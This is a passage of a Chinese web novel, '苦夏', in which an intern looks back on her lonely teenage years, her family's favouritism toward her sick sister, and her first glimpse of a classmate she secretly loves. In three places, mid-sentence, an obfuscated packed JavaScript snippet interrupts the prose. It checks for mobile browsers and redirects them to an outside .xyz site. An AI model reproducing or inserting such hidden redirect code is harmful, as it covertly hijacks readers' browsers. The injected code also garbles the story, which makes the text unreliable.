《苦夏》 1. 苦夏 《苦夏》 文/枝玖 “该怎么形容夏天，提起你似乎总带着一股苦涩。” - 2019年夏，沈青梨得到了人生中的第一份实习工作。 炎热难捱的夏天阴晴不定，落下的大雨不给人一点反应的机会。 午休结束，公司门口，沈青梨放下手里湿透的伞，边摸着被吹湿了的刘海边走进办公室。 “青梨。”同事卢甯听见门口的动静，坐在工位上冲她打了个招呼。 沈青梨冲她点点头，随即环顾四周一圈，见大家都到的差不多了，自己也赶紧坐回工位。 卢甯见她过来，刚想凑过来和她说些什么，但嘴边的话还没说出口就被打断。 “青梨，这个采访稿还有一点问题，我给你标注出来了，你修改一下哦。”陈喃拿着手里的文件走到沈青梨身边，温声细语地和她说着问题。 “好的师傅。”沈青梨乖乖接过稿件，投给卢甯一个抱歉的眼神，对方也冲她眨眨眼，意思是让她先忙，于是她开始认真地处理工作。 - 等她处理好手中的东西，方才见她有事要忙的卢甯再一次地凑了上来。 “青梨青梨。”她小声地喊着她。 沈青梨心领神会，她放下手里的东西，小幅度地扭了扭因为长时间一个动作而变酸的脖子，才道：“说吧，从刚才进门开始就看你一副欲言又止的样子，再不说怕给你憋坏了。” 卢甯是和她同一批进来的实习生，她们两个人年纪相仿，喜欢的东西又都差不多，是关系非常好的上班搭子。 听到她的话，卢甯笑了一下，露出一副还是你懂我的表情，继续道：“我和你说，我昨天读了一本暗恋文，最近还挺火的。” “暗恋文？”闻言，沈青梨目光一顿，看向她的目光有些诧异，“你还有兴趣看这种文呢？” 卢甯听出她话里有话，佯装不满着说：“干吗！人家想要回顾一下青春的感觉还不行吗？” “哦行啊，谁说不行啊。”看她又要急，沈青梨笑了声，接着道：“那你继续说，你看了本什么样的暗恋文？” “哦对对，都怪你，差点和你聊跑题了，是一本be悲剧的。”她边说，边从手机里找出那本文来递给她看，“就是这个作者写的，你要是感兴趣有空可以去看看。” “be啊？我不爱看be的。”她扫了一眼卢甯手机上的那本书，看阅读量好像是挺多人看的，但是她听到相关的题材是悲剧，不由得皱了皱眉。 见她兴致缺缺的模样，卢甯觉得有些可惜地撇了撇嘴，“那好吧，不过我看网上有人说，这本书的原型故事就发生在你们苏市一中呢，说是你们一中10届的学姐写的，不知道真的假的。” 沈青梨低着头，正准备收拾桌上的文件，突然听到苏市一中这四个字，她拿着稿子的手不禁抖了一下，东西没拿稳，险些掉到地上。 她及时抓住要“飞”走的稿子，随后装作什么都发生般，不在意地开口道：“是吗……” “是啊。”卢甯点点头，她本就只是当做玩笑话随口一说，但也没料到沈青梨的反应会这么大。 顿时她像是又嗅到了什么八卦气息，再次凑上前去，用着欠揍的语气好奇道：“怎么着，一听到自己的母校反应这么大啊，是不是有什么故事啊？” 看她一副不正经的样子，沈青梨无语地用胳膊肿捅了她一下。 见她不肯说，八卦不出来什么，卢甯只好识趣地去和另一边的同事聊天。 她似乎是势必要把自己看到的这本小说“推销”出去一样，又和旁边的同事说了差不多的话。 不过明显对方比沈青梨回馈的反应要不一样得多。 “这本书最近好火啊。” “共鸣比较多吧，看来暗恋果然是很多人共同却又无法言说的心事啊。” 因为卢甯开的这个头，办公室的好几个同事都一起参与进来讨论到了关于“暗恋”这个话题，之前A组刚好采访到一个相关的话题故事，那个暗恋故事让不少人都很动容。 于是她们又再次谈起，一个人能够单一又不求回报地喜欢另一个人，这样真挚又或许永远不会有结果的暗恋，在现实中到底会不会有。 沈青梨坐在自己的工位上，听着她们有一搭没一搭地聊着天。 “哎小甯，你真相信这个故事在现实中存在啊？”突然，有个同事提起问道。 “我也不知道，我没经历过书里的这种感情欸，只是看网上都在这么说。” “要我说，我就不相信。这个世界上哪里会有十几年亘古不变的感情？尤其是咱们现在这个恋爱快餐时代，大家喜欢一个人和不喜欢一个人都和闹着玩似的，哪里来那么长情的人啊。”那个同事听着她的回答，说着自己的观点道。 卢甯听着她的话倒是没回答，不知道是赞同还是并不认同。 “话也不能那么说吧，万一真的是真的呢？”旁边的同事笑着搭腔，见沈青梨就坐在位置上不参与进她们的话题，便主动道：“不过话说，青梨你是苏市一中的吧，哦对还有你师傅，她是不是也是苏市一中的来着？” 听到有人突然喊她们的名字，沈青梨和陈喃抬起头，她们两对视了一眼，然后点了点头。 “你们师徒两还挺有缘分啊，正好是一个高中的出来的呢，对了，青梨你是哪一届的？” “2012届的。”她勉强笑了笑答道。 “那万一是真的，那就是青梨的学姐写的，哎那陈喃姐你呢？是哪一届的啊？”卢甯继续好奇地问着。 “我？”突然被问到这个问题，她有些惊讶，随后晃了晃神，才道：“我是2010届的。” “这么巧！那陈喃姐你知不知道什么内幕啊？” 见卢甯八卦个没完，沈青梨有些无奈地赶紧喊住她：“你少看网上那些空穴来风的东西好不好？” 大概是意识到自己这样追着问的确有些不礼貌，她对陈喃不好意思地笑了笑，说自己就是随便问问。 好在陈喃比较随和，没有介意她的唐突。 她只是淡淡笑了一下，眼底却闪过一丝难以察觉的尴尬。 她说了句“没事”，就继续手边的工作了。 众人聊了一会，也就各自散去，各忙各的去了。 - 下午，卢甯这个八卦精要跟着同组的人外出，办公室里一下子少了不少人。 沈青梨坐在自己的工位上出神，连陈喃走过来喊她都没有听到。 “青梨……青梨？”陈喃动作很轻地摇了摇她的肩膀。 她这才回神，道：“啊？怎么了学姐。” 虽然对外她们两是工作上的师徒关系，但入职当天陈喃就对她说叫师傅显得有些太严肃了，而且叫得她很老似的，实际上她们两人也没差几岁，所以私底下沈青梨叫她学姐更多。 一时没反应过来，她就脱口而出。 “喊了你好几遍，看你一直没听到。怎么了？有什么心事吗？” 陈喃伸手拉了旁边的椅子，作势就在她的旁边坐下，语气很温和地问着她，丝毫没有责怪的意思。 "没有，只是在想事情。"她不好意思地笑了笑，看上去嘴边的话有些欲言又止。 注意到她的苦恼，陈喃也不急，她用着和平常一样柔和的语调，玩笑着问道：“那你在想的事情，愿意和我分享一下吗？” 见她都这样说了，沈青梨也就不再打算藏着掖着，不然显得这件事情对她多重要多烦恼似的。 而且她这位学姐的身上似乎总都有着一种亲和力，让她不自觉地想去亲近她，能够放心大胆地向她倾诉自己的情绪。 - “学姐，你相信这个世界上有永恒不变的暗恋吗？”她想着抬起头，缓了会才轻声问着。 闻言，大概是没想到她会聊起这个话题，陈喃脸色都僵住了几秒，她像是想起了什么，唇边漾起一抹苦涩的笑，没由来地说：“我相信。” “真的吗？”对于她的回答，沈青梨有些意外，“那你也觉得这个世界上，会有人无缘无故去喜欢一个人好多年吗？” “无缘无故？”听到她话里这四个字的陈喃不由得轻蹙了一下眉，她纠正着：“喜欢一个人怎么能算是无缘无故呢？” 说罢，注意到对方投来不解的目光，她清了清嗓子笑着继续解释：“如果你喜欢他，那不就是理由吗？” 听着陈喃的话，沈青梨撑着脑袋一副若有所思的样子，半晌才幽幽地轻声说了一句：“可是如果你根本没有分清楚过到底哪一个才是真正的他呢……” “什么？”陈喃没有听清她说话的内容，问着。 “哦，没事……”她尴尬地笑了笑，没有重复刚才自己嘀咕的那句话。 对她来说，一段无法开口的暗恋，就和那句没有缘由的话一样，是不能大声告诉任何人的。 见她不说，陈喃也很有分寸地不再继续追问。 两人又开始继续忙着手上的工作，默契地谁也不再提起关于暗恋的这个话题。 或许每个人心里都藏着一段故事，难过又或者欢喜，但暗恋拥有着最相似的共同点，是无法开口告知任何人。 - 直到下班后，沈青梨疲惫地回到自己的出租屋里，她冲了个澡，在等待晚饭外卖的间隙中，鬼使神差地搜起了卢甯白天提到的那个作者的名字——“陈氧”。 点开这个名字的微博，她细细翻看着对方留下的很多帖子。 “陈氧”似乎并不是一个话很多的人，留下的微博帖子也寥寥无几，她上下翻了几下就看完了。 “您的外卖到了！” 等门口传来外卖员的声音，沈青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171378|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨划着手机的手才一顿，她像是大梦初醒般突然意识到自己在干什么。 她赶忙放下手机，觉得自己一定是被白天卢甯她们说的话给影响了，不然怎么会去看关于这些的东西。 “放在门口就行，谢谢。”她把注意点重新回到自己身上，冲着门口喊了一声，等了会，确定听到外卖员离开的脚步声后，才终于站起来打开门拿自己的晚饭。 拆开包装，她打开客厅的电视机，坐下来吃饭。 手机上却突然震动，弹出几条新的消息。 她只好把放在一边的手机重新打开，解锁界面后才发现刚才好像误触点进去了陈氧的一条微博。 帖子底下是密密麻麻的很多评论留言，被顶在最上面的是一个让人无法忽略的评论——【很多人的暗恋似乎总发生在夏天，如果一定要用两个字来形容自己的暗恋，老师你会用什么呢？】 这个评论本意应该只是想要陈氧的回答，但是很遗憾，作者并没有给一点只言片语。 但也许是这个评论高赞太多，被很多人注意到，不少网友也都很自然地跟帖回复着。 【眼泪。】 【梦境。】 【日记。】 …… 回答的答案有些相似的，也有特别不同的。 她的目光怔了一下，然后有些犹豫地在手机键盘上打了字。 手机屏幕最上边的消息还在弹个不停，嘈杂的提示音吵得她心情莫名烦躁，都没法专心看完下面的评论。 于是她只好无奈地点进微信，才发现是高中那个几百年没人出现的年级大群在发消息。 她点开聊天框时还蹙了蹙眉头，心想自己怎么还在这个群里，印象里关于高中大学的任何群，她都应该退了才对。 边想着边划到最上面的消息，发现是洛伊秋发的艾特全员，这是她高中三年的班长，也是当时苏市一中校长的女儿。 后来听说她爸爸很早就退休了，不过女承父业，她现在就在一中当老师。 沈青梨简单瞄了一眼消息，原来是一中最近要举办优秀毕业生演讲，询问群里有没有人愿意参加。 群里有人打趣，问自己当年在一中成绩倒数能不能过去。 洛伊秋打了几个哈哈哈，说就算不是当年的优秀毕业生也可以一起来，就当是多年后重返母校，大家正好也可以趁这个机会聚一聚。 看她这圆滑又不会冷场的处理方式，沈青梨轻挑了一下眉，在心里感叹洛伊秋这么多年还是老样子，永远都是一副外表好学生、“老干部”的模样。 只是很可惜，她对重返母校这种事情并不感兴趣，苏市一中和其他学校不太一样，每届的毕业班级都不是很多，又加上毕业后很多人退群的退群、换号的换号，所以群里也没多少人。 但总有从前那些爱凑热闹的老同学热切地和洛伊秋聊着天，沈青梨看着群里各种各样的昵称和头像，毕业太多年，除了洛伊秋，其他的她一个人都不认识是谁。 …… 群里的消息还在不停地聊，她开始思考要不要退出这个群。 只是还没等她实施这个想法，就看见群聊里弹出的最新一条消息，那句话上聊到了一个人的名字。 【请优秀毕业生那不得请林夏清啊？他当年可是我们这届常年的年级第一。】 提起林夏清的这个名字，不少人也都跟着一起附和着。 【对啊对啊。】 【不过这么多年好像都没听到过关于林夏清的消息，班长你知道林夏清现在在干吗吗？】 【这还用问？人不就在群里吗？直接艾特问！】 【@夏。】 大概真是时过变迁，她想，从前这一个个都觉得林夏清冷得吓人，不敢靠近他的家伙，现在都能这么自来熟了。 不过几个人在群里接连艾特了一通，被艾特的人都始终没有出现。 见林夏清不出现，洛伊秋大概是怕冷场，也怕大家不高兴，连忙出来说话。 只是似乎连她都不知道林夏清的踪迹，支支吾吾半天也说不出个所以然来。 但托群里提起林夏清的福，沈青梨停顿住刷手机的动作僵住，她紧紧蜷结起手指，终于在灰败的记忆里，想起自己唯一没有退出这个班级群的原因。 因为里面有林夏清。 …… 想到这，她吃着饭，突然觉得有些味同嚼蜡。 她不再继续看群里那些消息，重新回到微博上，才发现自己的后台突然被人点了99+的赞和评论。 沈青梨一愣，险些以为自己是不是发错消息被骂了。 只是等她点开那条评论，才发现原来是自己刚才回答的答案引起了这场“轩然大波”，她的回复评论被顶到了最上面，格外得显眼。 那个名为梨子的id账号只回答了两个字，是——苦夏。 2. 苦夏 2012年暑假，沈青梨初中毕业，她那平日里只有重要节假日才会带着大女儿回来的爸妈突然被叫回了家里。 一家人挤在客厅里，作为一家之主的爷爷突然一锤定音，让沈父沈母把她接回苏市镇里去。 这话一出，整个客厅里除了两位老人家外，没有一个人是赞成的。 沈父最先皱眉不赞成道：“爸！你是知道的，小芸一直都身体不太好，我们夫妻两照顾她一个就已经忙不过来了，你再把青梨送过来，这不是给我们添乱吗？” “是啊爸，小梨不是一直都在你和妈这住得挺好的吗？没必要搬去和我们一起住吧。”沈母也连声附和着。 虽然早就知道他们肯定不会愿意，但是亲耳听到自己的亲生父母这样嫌弃自己，甚至将她看作一个麻烦，她还是心底苦涩地垂下了眼，逼迫自己不许露出一丝一毫难过的神情。 可是她的心口就像是被人紧攥着，像是有一口气喘不上，但沈青梨知道，她大概永远都找不到解决这场不适的办法了。 “没必要？今年开学小梨就要上高中了！一中离我们乡下有多远？你们要让她起早贪黑地去上学吗！要是耽误了学习怎么办？”沈爷爷看了一旁一言不发的孙女，他没想到自己儿子和儿媳会说出这样偏心的话来，顿时气急。 “爸，你别当着孩子的面说……” 大概是顺着自己父亲的目光，他这才注意到了旁边女儿的沉默，于是赶忙打圆场，让自己母亲先带着沈青梨出去。 “青梨你和奶奶一起去外面逛逛好吗？爸爸妈妈还有要紧事要和爷爷说。”沈父的声音几乎算得上温和，可隐藏在话里的不亲近却是怎么都掩盖不住的。 “好。”她佯装什么都没有感觉到，点点头乖乖地被沈奶奶拉出去。 只是走到门外还没有几步，她就意外地听到客厅里屋沈母模糊的声音：“爸，如果小梨觉得上下学不方便，我们可以给她办住宿的，这样你们也能省心一点。” “办住宿？小芸被你们宝贝着无时无刻都恨不得挂在自己身上带出去，对小梨就是随便抛在学校是吗？世界上怎么会有你们这样的父母……你们这样做，小心孩子以后长大了会恨你们！”沈爷爷难以置信自己居然能听到那么荒谬的话，气得直拍桌。 “爸……我们不是那个意思……” “好了不用再说了，就按照我说的办，反正小芸和小梨都在一个学校，住在一起平日里也能互相照顾。”沈爷爷强硬着继续开口，不再给他们反驳拒绝的机会，“你们两口子别忘了，这是你们的亲生女儿，不是我和你妈的责任！” …… 沈奶奶自然也听到了屋里头的声音，看着身边的孙女，她年迈的脸上露出心疼的神色，无奈地叹了口气劝道：“小梨，不要怪你爸爸妈妈，你爸妈也不容易，你……要体谅他们。” “……” 沈青梨死死咬着唇没有接话。 不容易也许是真的，但是抛下她这么多年也是真的。 只是她总是不明白，来到这个世界从不是孩子的意愿，明明是因为父母的行为，可是为什么大人的不容易，总要让小孩子去体谅？ 她经历着一切的不公平，到头来还要被要求体谅吗？ 她真的能做到吗？ 想到这，她轻嘲了自己一声，可是能不能做到又有什么关系？反正这一切本就是由不得她来选择的。 想罢，她心底莫名涌上一股浓浓的疲倦，走出客厅外，空气中带着难受的闷热气息，知了在树上叫得人更是心烦意乱。 沈青梨抬起头看着屋外阴沉的天，好像要下雨了。 - 沈父沈母最后还是没有拗过沈青梨的爷爷，所以她还是在这个暑假开始前，搬离了这个生活了十几年的地方。 离开爷爷奶奶家的那天，她不舍地和自己最亲近的两位老人挥手道别，说她会经常回来看他们。 走出家门时，外面依旧还在下雨。 她拿着自己不算多的行李，上车前看着沈母刚才顺手塞进自己怀里的青梨，倏然脚步停住，像是想起了什么，她偏过头，目光不知停留在哪里，却也只有一瞬间。 “小梨，愣着干什么，快上车，你姐姐在家里等我们呢。”沈母在身后催促着。 闻言，她收回目光，淡淡道了句“好”。 汽车行驶在前方泥泞的路上，她坐在后座转过身，透过车后方的玻璃，望着自己距离生活过的地方越来越远，她被迫怀着不安的心情开始一段全新的生活。 车外的瓢泼大雨打在她身侧的车窗玻璃上，慢慢模糊了她的视线， 潮湿的夏季在一场大雨里正式“拉开序幕”。 那是一年多雨的夏天，沈青梨后来也曾想过，她之所以会对那一年的夏天那样深刻，是否也是因为那是她人生中经历过最多雨的夏天。 她总觉得是时间美化了过去，她人生中记忆最深刻的那个夏天，也许和林夏清也没有太多的关系。 - 回家后，她时隔几个月再次见到了自己的那位体弱多病的亲姐，沈青芸。 听说她从小生下来身体就不好，她们的爸妈常年带着她四处求医到处奔波，所以只能把作为妹妹的她丢在乡下。 而站在自己面前的沈青芸，的确看上去脸色就不太好，她很瘦，薄得像一张纸，有一股病态。 她们不经常见面，苏市的家距离乡下的路程有两三个小时，她身体不好受不了太多的颠簸，所以除非是重要的节假日，平日里她们姐妹俩也见不了几面。 所以她也并不觉得她和沈青芸之间能有多少感情。 但似乎站在自己面前的这个姐姐并不这样想，她从看见自己进门开始脸上就挂起了灿烂的笑。 沈青芸走上前来想帮她提行李，边走过来边道：“阿梨！你可算来了，爸妈说要接你回来，我高兴了好几天，路上累不累啊？” 她说完话就想拿过沈青梨手边的书包，沈青梨刚要拒绝，却被随后走进门的沈母眼疾手快地注意到，她大声呵斥了一声，跑到沈青芸面前，着急道：“这些东西多重啊，小芸你乱拿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171379|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说罢，她像是有些生气，转过身对着她说到：“小梨，你姐姐身体不好，你怎么能让她帮你拿那么重的东西呢？万一她累到怎么办？” “……” 她张了张嘴，本想开口替自己解释，不是她让沈青芸帮忙的，也想说自己的包没多少重量。 可是话到嘴边，却突然好像一个字都蹦不出来了，她抬眼轻轻瞥了沈母和沈青芸一眼，看自己的妈妈那副紧张沈青芸的样子，简直堪称是病态的，好像她这位亲姐是什么瓷娃娃一般。 她其实一直是知道自己爸妈很护着沈青芸，但是能到这个地步，她着实也是没想到，沈青梨想到这，她低垂着眼，想起出发前爷爷奶奶的叮嘱，默默闭了嘴，自顾自地把手上的包拿得更紧。 “妈！是我自己想帮小梨拿的！”沈青芸站在一边倒是比她这个被冤枉的人还要着急，她见沈母误会了，连忙解释。 “那也不行……你怎么也那么不懂事。” 听着沈母怪慎着的话，明明都是在说沈青芸不懂事，但话里看似实在责怪，实际上却满是宠溺。 沈青梨就站在一边，听着自己的妈妈对自己和对姐姐两副截然不同的态度，她不知道自己此刻应该摆出什么样的表情合适，是应该难过还是沮丧？ 好像都不需要，她觉得自己就像是一个木头人一样站在这个家里，像个格格不入的外人，哪里都算不上是她的容身之处。 …… 但好在那样的尴尬没有持续多久，沈青芸很快带她去了自己的卧室。 在她的房间里，对方和自己絮絮叨叨了很多，沈青芸看着斯斯文文的，没想到平日里倒是个话多的。 她似乎对自己完全没有不熟悉的尴尬，比沈青梨自在多了。 不过一开头就闹了这样的事情，她对接下来的相处不再抱有什么虚无的期待。 哪怕她承认，在刚踏进这个家门的时候，她也曾经有那么一丝可笑的期待，觉得自己以后是不是就和沈青芸一样，能够拥有父母的爱。 想到此，她不由得为自己的那一点冒出来的妄想而鄙夷自己。 沈青梨，以后就当做一个透明人，什么都不要期待，什么都不要想要就好了。她望着空荡荡的房间，有些走神地想着。 后来也的确是如此，她在这个家里熟悉了两个月，除了和沈青芸熟络了一些外，其他的几乎都没有变。 沈父沈母为了沈青芸的病每天都早出晚归地上班赚钱，就算他们回来也多半是和沈青芸说些话，有时候会顺带着和她讲几句，但也就这样了。 后来有好几次，她晚上失眠去客厅倒水喝的时候，听到沈母不止一次向沈父抱怨。 “我觉得青梨这孩子和我们一点都不亲，你看她平时也不说话，你看小芸多活泼啊，她们两哪里像两姐妹……” “是啊，到底不是养在身边的孩子，总归还是不一样的。” …… 她听到那番话后，没有表情地站在黑暗的客厅，动作缓慢地喝着杯子里的冰水，冰得牙龈疼，也冰得她很清醒。 3. 苦夏 2012年9月，苏市一中高一学生开学。 苏市的重点高中总归和她乡下的一些学校是没法比的，光是从外头装潢上就能看出来。 开学前一晚，沈母拉着她嘱咐她在学校要多看着点姐姐，照顾着点沈青芸。 清晨，沈青梨边想着这件事情边走进校园，她其实突然觉得有些好笑。 一个在高二一个在高一，八竿子都打不着能照顾什么？而且过去她没在这个学校的时候，又是谁来照顾沈青芸？ 顶着头顶上的骄阳，她挤过拥挤的人群，站在树下阴凉处难受得眯了眯眼，谢绝了沈青芸要亲自从自己去新班级报道的想法，看着面前因为在烈日炎炎下站了太久而脸色发白的人，她打心底地叹了口气。 临走前，她把自己手里的矿泉水塞给了她道：“我认识路，不用担心我，你快点回自己的班级吧，别中暑了。” “好，我就在一楼第二个班，你有事情就要来找姐姐知道吗？”见自己妹妹难得会主动关心自己，沈青芸的脸上先是有些惊讶，随即露出了高兴的笑。 “嗯。” 她随口答应着，然后看着心情变得很好的沈青芸一步步走远。 随后，她按照公告栏上展示出来的班级名单找着班级，高一（2）班，在教学楼的四楼上。 跟着熙熙攘攘的人群来到班级门口，沈青梨才发现门口和班里都站了不少的家长，他们像是在嘱咐着自己孩子什么，也有的父母在临离开前还仍不放心地朝着里面望。 她看着这场景愣了愣，像是有些意外。 原来正常的父母还会陪着孩子一起来报道吗？ 沈青芸是高二的学生，对学校再熟悉不过，想来是不需要的了。 那她呢？ 她不清楚这是不是要提前和自己父母说的，不过她从小几乎都没有这样的意识，除了上幼儿园和小学一两年级，那时候年纪太小，是奶奶送她去的以外，后面的报道几乎都是她一个人去的。 初中三年更是不用说，她爸妈忙得连她的家长会都没有空去开，不过似乎也不是一次都没有，最后临近中考的那次家长会她爸貌似回来过一次，不过也就那么一次了。 算了，她和她们都不太一样，所以没有什么好去比较的，和过去一样，她就这样劝着自己，就能把自己劝好。 - 走进班级，班里已经坐了不少的人，就剩下一个在最后面的座位，她没有其他的选择。 走到最后面坐下，她才发现周围的同学好像很多都互相认识，她们各自坐在一起扯着闲话，说着彼此暑假的趣事。 对比之下，似乎只有沈青梨一个人坐在位置上是最违和的、最孤独的。 周围有人有意无意地悄悄看她，然后又转过身和身边的人窃窃私语些什么。 沈青梨自然注意到了那些向自己投来的目光，她有些局促地握紧了放在腿上的手，低下头试图无视那些让人感到尴尬的目光。 过了好一会，上课铃声响起，班级门口传来交谈的声音。 “好了我知道了，你别和个老妈子似的行不行，放心吧我一个人没问题的，上课了你也快点回班级吧。” “我这不是担心你吗？就你没良心。” “知道了知道了，你快走吧！” “行行行。” 一男一女站在门口说这话，女生语气听起来有些不耐烦，但要是此刻有人凑近他们两个，会看见两人嘴上怼着嘴，眼底却始终盛着一池的笑意。 那时候的沈青梨看不明白他们之间的关系，只是隐约也察觉到了两人间的不对劲。 往后的高中三年，高中部曾有无数人传言，说他们是天生一对的般配，以至于再后来，她从未预料到面前的这两人会走向那样的结局。 - 沈青梨听到声音抬起头，看着那个女生踩着上课铃进入班级。 班里有人认识她，她斜前方的女生边招手边喊着她的名字：“伊秋！这里。” 那个叫伊秋的女生闻声笑了一声道：“来了。” 说罢，她小步跑过来，从座位上拿起来书包坐下。 外头的那个男生还探着头，见她坐了下来，才终于放心地转身离开。 “呦，又是你家赵逸霄送你来的啊？”前桌的女生瞥了一眼外头，话里带着戏谑道。 “别胡说！”洛伊秋羞愤地用胳膊肘捅了旁边的朋友一下。 “咦~” 两人闹了一会，老师才从门口走了进来。 “咳咳。我姓陈，叫陈伟，以后是你们班的班主任兼语文老师。”台上的老师长着一副很严肃的模样，他清着嗓子，说完自己的名字后就接着讲开学的注意事项。 沈青梨没仔细听，无非都是些要好好学习老掉牙的话。 开完这个简单的班会陈伟就指挥着班级里的同学打扫卫生和去领书。 “单数的几排跟着我一起去大厅拿新书，双数的在教室里打扫卫生。” 陈伟说完，单数排的几个学生发出倒霉的哀嚎声。 好巧不巧，沈青梨也在单数排，她跟在几个人的后面，走到走廊外头去排队。 洛伊秋就坐在她的前面，她看着旁边朋友幸灾乐祸地冲自己招手，她气笑地瞪了对方一眼，才跟着大部队一起出去。 - 走在下楼的楼梯上，一大群人围着和洛伊秋搭话。 “呦伊秋，这次又要做一个班级的同班同学了啊。” “是啊洛大班长，以后就靠你罩着我们了。” 周围人开着玩笑，洛伊秋不好意思地笑了一下说：“哪有你们说得那么夸张。” 几个人边走边说这话，看着特别热闹，沈青梨落在最后面，步子慢慢地跟着前面的人一起走。 她隐约能从她们这点零星的对话里听出这几个人之前应该就是一个初中的。 想到这，她边走边又开始走神，想着自己未来在苏市一中的三年应该怎么度过，她原先读的那所初中不是什么很厉害的学校，能从里面考出来考上重点高中的人更是寥寥无几。 不过就算真有认识的人也没用，她从小就没什么朋友，一个人独来独往习惯了，如今估摸着，未来的三年大概也是要和初中那会一样了。 她想着这件事情，完全没注意到走在最前面，被人簇拥着的女生不知道什么时候注意到了她，她突然慢悠悠停下了脚步，不经意地走到了她的身边。 “同学你好，我叫洛伊秋，你记得我吗？我就坐在你的前面。”她走到沈青梨的身边，眼睛笑吟吟和她搭话。 沈青梨没料到她会突然和自己说话，有些错愕地怔愣了一会，才终于开口：“我……叫沈青梨，我记得你。” “你记得我呀！你名字好好听哦……” “没有……你的名字也挺好听的。” …… - 洛伊秋就像是天生的自来熟，她们没聊几句，对方就亲昵地拉着她。 沈青梨有些招架不住她的热情，很多时候只能尴尬地笑一笑。 直到她们两都各自手上搬了书，因为东西实在是太重，她才终于没力气边走边讲话。 九月的苏市天气还是很燥热，一点没有夏天走远的痕迹。 临近中午，头顶的太阳刺眼，周围的其他同学嘴边也不停地抱怨着，说手里的书实在是太重，沉死人了。 沈青梨也被这大太阳照得额头冒出黏腻的汗珠，脸上像是一层黏糊的纸，让她不适地紧皱起眉头。 洛伊秋手里的书比她怀里的还要重，她手酸地连连喊沈青梨停下，说自己得调整一下拿书的动作，不然她要抱不住了。 她动作有些狼狈地蹲在地上，她穿的裙子到她的膝盖上面一点，随着蹲下来的动作很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171380|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易走光。 路边来来往往的同学时不时将目光投向她们两个，沈青梨很快注意到，她不经意地挪了挪步子，站到洛伊秋的后面替她挡住，顺便也遮住身后的阳光。 她的影子落在对方的身上，身后那股被太阳直射着的燥热突然消失，洛伊秋注意到，收拾东西的动作都一顿。 沈青梨就这样不动声色地站在她的身后，安静地等着她，中午的阳光笼罩在她的身上，连脖子后面也泛起一层薄汗，但她始终都没有催促对方一句。 直到她调整好手里的书，动辄站起来的时候，前方突然传来一阵骚动。 沈青梨和她都下意识地朝着声音的来源望去，发现是一个班级排着队伍朝着她们这个方向走来，队伍里男生众多，说话的声音也就大了一点。 洛伊秋顺势收回目光站了起来，她刚要和身后的人沈青梨道谢，转头却发现她的目光一寸不落地定格在了不远处的那个队伍上。 队伍的最前面是一个长相很棱角分明的男生，他比后面的人高出一截，在人群里格外地高挑瞩目。 只是他板着一张脸，看上去不太好接近。 沈青梨和他隔着嘈杂的人群对望，对方穿着一袭白衬衫，在烈日下迈着步子朝她走来。 一步……两步……三步…… 直到他走到自己的身边，她都不曾移开过自己的目光。 见他与自己靠近，沈青梨张了张嘴，像是犹豫着什么。 但让她意料不到的是，男生压根没有给她多余的时间去考虑，他偏过身，与她擦肩而过，没有停留一步。 但在拥挤的人群里，他们凑得有些近，她甚至能闻到他衣服身上的洗衣液的味道，像是一种果香，只是闻到这个味道，她跟着他的动作一起转过身，盯着对方离开的背影，一时竟然有些怔神。 周围窃窃私语的声音传入她的耳边。 “那是谁啊？这么帅啊？” “看着这个班级倒像是一班的。” 身旁的几个同学和她一齐朝着一个方向望去，小声讨论的声音没停。 随后不知道是谁，说了一句：“你们居然不认识他？林夏清，是我们这届考进来的第一名啊！不过……” 说到后面的话，那人声音刻意变轻了几分：“我听说，他不仅是第一名，还是咱们学校投资人的亲儿子呢，喏，瞧见没有，新建的那个图书馆，就是人家老爸投的钱才建起来的，啧啧啧，富家公子哥啊。” 不少人顺着那人指的方向看去，都连连感叹着：“不是吧，成绩好就算了，还长得那么帅而且又有钱？！这种人还会有什么烦恼吗？老天爷真是对我不公……” “帅吗？我怎么感觉看着倒是蛮拽的。” “你懂什么，人家那是有拽的资本！” …… 后面的话沈青梨都没有再认真听，她只是盯着对方已经走远不再能看清的背影，脑海里浮现出他刚才看向自己的那双狭长的眼睛，看着幽暗又冰冷。 “他叫林……夏清吗……”她怔在原地，不知是冲着哪个方向，翕动着唇轻轻呢喃了一句。 洛伊秋见她出神了好久，担心地喊着她：“青梨？你刚才说了什么？” 沈青梨的声音太轻，她没能听清。 听到有人喊自己，沈青梨才终于回过神来，她看着洛伊秋，勉强地笑了下，摇了摇头说：“没什么。” “哦哦那我们快点回班级吧。” “好。” - 不远处，即将走到大厅时，林夏清身边走上来一个男生，他不怀好意地揽上他的肩膀，语气欠揍地冲着他问：“呦林夏清，你还真是咱们一中的大名人啊，我看刚才有一个姑娘一直盯着你看啊，怎么？认识？” 